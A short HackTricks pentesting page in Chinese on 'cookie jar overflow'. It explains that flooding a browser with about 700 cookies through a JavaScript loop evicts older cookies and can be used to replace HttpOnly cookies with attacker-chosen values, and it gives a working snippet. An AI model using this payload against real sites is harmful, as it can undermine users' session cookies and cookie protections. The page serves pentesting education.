hacktricks/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md
2023-08-03 19:12:22 +00:00

3.9 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

浏览器对于每个页面可以存储的cookie数量有一个限制。因此,如果出于某种原因你需要让一个cookie消失,你可以溢出cookie存储空间因为最旧的cookie会在之前被删除

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

注意指向不同域的第三方cookie不会被覆盖。

{% hint style="danger" %} 这种攻击也可以用来覆盖HttpOnly cookie因为你可以删除它然后用你想要的值重新设置它

这篇带有实验室的文章中查看。 {% endhint %}

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥